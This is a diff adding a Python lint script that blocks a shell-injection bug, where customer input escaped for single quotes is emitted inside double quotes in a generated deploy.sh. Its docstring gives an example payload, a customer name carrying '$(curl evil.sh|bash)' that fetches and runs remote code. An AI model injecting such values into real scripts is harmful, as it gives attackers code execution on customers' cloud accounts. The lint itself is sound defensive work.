|
| 1 | +#!/usr/bin/env python3 |
| 2 | +""" |
| 3 | +lint_shell_injection.py — block a specific class of generator-side shell |
| 4 | +injection bug from reaching prod. |
| 5 | +
|
| 6 | +Context: `configurator.html` builds a bash script at runtime via a JS |
| 7 | +template literal and offers it to the customer as `deploy.sh`. A naive |
| 8 | +author escapes user-controlled input with `.replace(/'/g, "'\\''")` and |
| 9 | +then emits the value inside DOUBLE quotes. In double-quoted bash, |
| 10 | +`$(...)`, backticks, `\`, and `$VAR` all still expand — the escape is |
| 11 | +irrelevant and a partner-supplied "customer name" like |
| 12 | +`Acme $(curl evil.sh|bash) Corp` becomes RCE on the customer's |
| 13 | +CloudShell with AdministratorAccess. That's U4 in the remediation plan. |
| 14 | +
|
| 15 | +The only correct shape here is SINGLE-quoted containment where the |
| 16 | +`'\''` escape closes the span, inserts a literal quote, and reopens. |
| 17 | +This lint enforces that shape. |
| 18 | +
|
| 19 | +Rule: any line in configurator.html that contains BOTH |
| 20 | + (a) the single-quote `.replace(/'/g, "'\\''")` escape pattern, AND |
| 21 | + (b) a helper variable that is subsequently emitted inside DOUBLE quotes |
| 22 | +must fail. Equivalently: variables produced by the single-quote escape |
| 23 | +must only be emitted inside single quotes (or bare — when the helper |
| 24 | +already wraps in single quotes itself). |
| 25 | +
|
| 26 | +Heuristic shape of the negative pattern, line-by-line: |
| 27 | + const X = <something>.replace(/'/g, "'\\''"); |
| 28 | + ... |
| 29 | + ${X} inside a line that starts with a shell-variable assignment |
| 30 | + "${X}" <-- FAIL: double-quoted emit of single-quote-escaped value |
| 31 | +
|
| 32 | +A one-liner regex can't fully verify taint flow, but we can catch the |
| 33 | +two known-bad shapes directly: (1) the bare `.replace(/'/g, "'\\''")` |
| 34 | +pattern outside a containment helper that returns a single-quote-wrapped |
| 35 | +string; (2) any occurrence of `"${<varname>}"` where `<varname>` was |
| 36 | +declared via that escape. Keep the check narrow so it does not false- |
| 37 | +positive across future generator work. |
| 38 | +""" |
| 39 | +from __future__ import annotations |
| 40 | + |
| 41 | +import pathlib |
| 42 | +import re |
| 43 | +import sys |
| 44 | + |
| 45 | +ROOT = pathlib.Path(__file__).resolve().parents[2] |
| 46 | +HTML_FILE = ROOT / 'configurator.html' |
| 47 | + |
| 48 | +SINGLE_QUOTE_ESCAPE = re.compile( |
| 49 | + r"""\.replace\(\s*/'/g\s*,\s*["']'\\\\''["']\s*\)""" |
| 50 | +) |
| 51 | +# A "safe" escape helper wraps its output in single quotes: |
| 52 | +# `'${ ... .replace(/'/g, "'\\''") }'` |
| 53 | +# Detect by looking for the escape call inside a template literal that |
| 54 | +# opens with `' and closes with '`. |
| 55 | +SAFE_HELPER_LINE = re.compile( |
| 56 | + r"""`'\$\{.*\.replace\(\s*/'/g\s*,\s*["']'\\\\''["']\s*\).*\}'`""" |
| 57 | +) |
| 58 | +# Lines of the form `VAR="${customerSomething}"` where the double-quote |
| 59 | +# wrapping is the bug (assumes the escape produced the value). |
| 60 | +DOUBLE_QUOTED_CUSTOMER_EMIT = re.compile( |
| 61 | + r'^\s*[A-Z_][A-Z0-9_]*="\$\{(customer\w*)\}"\s*$' |
| 62 | +) |
| 63 | + |
| 64 | + |
| 65 | +def main() -> int: |
| 66 | + if not HTML_FILE.exists(): |
| 67 | + print(f"lint_shell_injection: {HTML_FILE} not found", file=sys.stderr) |
| 68 | + return 1 |
| 69 | + |
| 70 | + text = HTML_FILE.read_text() |
| 71 | + fails: list[str] = [] |
| 72 | + |
| 73 | + # Check 1: every `.replace(/'/g, "'\\''")` use must be inside a |
| 74 | + # containment helper that wraps its output in single quotes. |
| 75 | + for m in SINGLE_QUOTE_ESCAPE.finditer(text): |
| 76 | + # Find the enclosing line. |
| 77 | + line_start = text.rfind('\n', 0, m.start()) + 1 |
| 78 | + line_end = text.find('\n', m.end()) |
| 79 | + line = text[line_start:line_end] |
| 80 | + lineno = text.count('\n', 0, m.start()) + 1 |
| 81 | + # If the surrounding expression doesn't single-quote-wrap the |
| 82 | + # result (see SAFE_HELPER_LINE), flag it. |
| 83 | + if not SAFE_HELPER_LINE.search(line): |
| 84 | + # Also tolerate lines that immediately wrap in single quotes |
| 85 | + # via a later concatenation pattern like `"'" + escape + "'"`. |
| 86 | + if not re.search(r"""["']'["']\s*\+""", line) and not re.search(r"""\+\s*["']'["']""", line): |
| 87 | + fails.append( |
| 88 | + f"configurator.html:{lineno}: `.replace(/'/g, \"'\\\\''\")` used without " |
| 89 | + f"single-quoted containment. This escape is ONLY valid inside single-quoted " |
| 90 | + f"shell output. Wrap the result in `'...'` or use a helper that does. See U4." |
| 91 | + ) |
| 92 | + |
| 93 | + # Check 2: no `VAR="${customerX}"` emit pattern. Customer-derived values |
| 94 | + # must be emitted without surrounding double quotes — the helper itself |
| 95 | + # produces a properly single-quoted literal. |
| 96 | + for i, line in enumerate(text.splitlines(), start=1): |
| 97 | + m = DOUBLE_QUOTED_CUSTOMER_EMIT.match(line) |
| 98 | + if m: |
| 99 | + fails.append( |
| 100 | + f"configurator.html:{i}: {line.strip()!r} emits a customer-derived value inside " |
| 101 | + f"double quotes. In double-quoted bash, $(...), `...`, \\, and $VAR all still " |
| 102 | + f"expand — this is the U4 RCE shape. Drop the surrounding double quotes; the " |
| 103 | + f"shellSingleQuote helper already wraps its output in single quotes." |
| 104 | + ) |
| 105 | + |
| 106 | + if fails: |
| 107 | + print("lint_shell_injection: FAILED") |
| 108 | + for f in fails: |
| 109 | + print(f" ❌ {f}") |
| 110 | + print() |
| 111 | + print( |
| 112 | + "See U4 in auto-map-tagger-state.md for the attack scenario. " |
| 113 | + "The fix is shell-single-quote containment; never emit user-controlled " |
| 114 | + "values inside double-quoted shell strings." |
| 115 | + ) |
| 116 | + return 1 |
| 117 | + |
| 118 | + print("OK: no shell-injection shapes detected in configurator.html (U4 guard).") |
| 119 | + return 0 |
| 120 | + |
| 121 | + |
| 122 | +if __name__ == '__main__': |
| 123 | + sys.exit(main()) |
0 commit comments